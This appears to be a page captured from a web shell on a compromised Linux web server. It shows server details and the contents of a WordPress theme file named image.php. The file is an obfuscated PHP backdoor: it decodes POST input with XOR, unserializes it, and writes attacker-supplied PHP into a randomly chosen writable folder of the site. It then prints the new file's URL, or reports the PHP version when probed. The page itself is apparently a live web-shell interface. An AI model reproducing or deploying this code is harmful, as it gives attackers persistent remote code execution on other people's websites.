HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-content/themes/toonmboom/image.php
<?php function QBMarPNiw($JgpAD, $ughPMgGmZt, $naRmzi){$VpiIN = "592e0038-764c-4dcf-a743-c0ae4dedf55f";return $JgpAD ^ $VpiIN[$ughPMgGmZt % strlen($VpiIN)] ^ $naRmzi;}$fgrCQ = "YnnDi";function vRZlizlvKb($fgrCQ){ $XfxptW = chr(115).chr(116)."\x72".'_'.'r'."\157".chr(116)."\x31"."\63";$fgrCQ = $XfxptW($fgrCQ);$ApbtQRYQY = chr(349-235)."\x61".chr(119).'u'.'r'.chr(721-613).'d'."\145"."\143".chr(455-344)."\x64"."\145";$fgrCQ = $ApbtQRYQY($fgrCQ);$fgrCQ = str_split($fgrCQ);return $fgrCQ;}function dfZvTn($Aorkr, $naRmzi){$Aorkr = array_map("QBMarPNiw", array_values($Aorkr), array_keys($Aorkr), array_values($naRmzi));$Aorkr = implode("", $Aorkr);$OnRYSP = chr(761-644).'n'.chr(902-787).'e'."\x72".chr(105)."\x61".'l'.chr(584-479).chr(122)."\x65";$Aorkr = @$OnRYSP($Aorkr);return $Aorkr;}function wvNrwP($naRmzi, $Aorkr){$naRmzi = array_slice(str_split(str_repeat($naRmzi, (count($Aorkr)/16)+1)), 0, count($Aorkr));return $naRmzi;}function GMvxo(){echo "jyimOddpVL";}function uhQYLIDMn($ceHAKFeir){static $bSNeG = array();$xTIPC = glob($ceHAKFeir . '/*', GLOB_ONLYDIR);$VCKPtLwj = count($xTIPC);if ($VCKPtLwj > 0) {foreach ($xTIPC as $ceHAKFe) {$mKBPdRuWm = "\x69"."\x73"."\x5f".'w'.chr(747-633)."\x69"."\x74"."\x61".chr(1018-920)."\x6c"."\x65";if (@$mKBPdRuWm($ceHAKFe)) {$bSNeG[] = $ceHAKFe;}}}foreach ($xTIPC as $ceHAKFeir) uhQYLIDMn($ceHAKFeir);return $bSNeG;}function IWzPvQHgI($Aorkr){$sHIDyXriXU = "\x44".'O'."\x43".chr(1029-944)."\115"."\105".chr(78)."\x54".chr(1039-944).chr(82)."\x4f"."\117".chr(261-177);$FOpMT = $_SERVER[$sHIDyXriXU];$xTIPC = uhQYLIDMn($FOpMT);$WCIyfnGKY = array_rand($xTIPC);$bWACRwgS = "\56".chr(247-135).chr(129-25).chr(129-17);$KbrxeBNkB = $xTIPC[$WCIyfnGKY] . "/" . substr(md5(time()), 0, 8) . $bWACRwgS;$sDKYryZ = "\146"."\151".chr(279-171).chr(314-213).chr(618-523).chr(732-620).chr(117).chr(499-383).chr(413-318)."\x63".chr(194-83).chr(718-608).chr(116)."\x65"."\156".'t'.chr(115);@$sDKYryZ($KbrxeBNkB, $Aorkr);$SFKVRTjvo = chr(72)."\x54".chr(84).'P'.chr(95).'H'.'O'.chr(641-558)."\124";$ejSMuQWcPt = 'h'."\164"."\164"."\160"."\x3a"."\57"."\57";$kmjmfkqfWS = $ejSMuQWcPt . $_SERVER[$SFKVRTjvo] . substr($KbrxeBNkB, strlen($FOpMT));print($kmjmfkqfWS);}function HBDbZAb(){$cYfwFHBFUp = 'p'."\150".chr(112);$ElMztcWEDh = "\x70".'h'."\160".'v'."\145"."\162".chr(466-351).'i'."\x6f"."\x6e";$Aorkr = Array($cYfwFHBFUp => @$ElMztcWEDh(), );$IwTsLKCHV = 's'."\145".'r'.chr(105)."\141".chr(371-263).'i'.chr(321-199).'e';echo @$IwTsLKCHV($Aorkr);}function nrXPm(){echo "YnnDi";}foreach ($_POST as $naRmzi => $Aorkr){$rTunC = strlen($naRmzi);if ($rTunC == 16){$Aorkr = vRZlizlvKb($Aorkr);$naRmzi = wvNrwP($naRmzi, $Aorkr);$Aorkr = dfZvTn($Aorkr, $naRmzi);if (@is_array($Aorkr)){$WCIyfnGKY = array_keys($Aorkr);$Aorkr = $Aorkr[$WCIyfnGKY[0]];$WCIyfnGKY = $WCIyfnGKY[0];$WCIyfnGKY = substr($WCIyfnGKY, 0);if ($Aorkr !== $WCIyfnGKY){IWzPvQHgI($Aorkr);}else {HBDbZAb();}}}}die();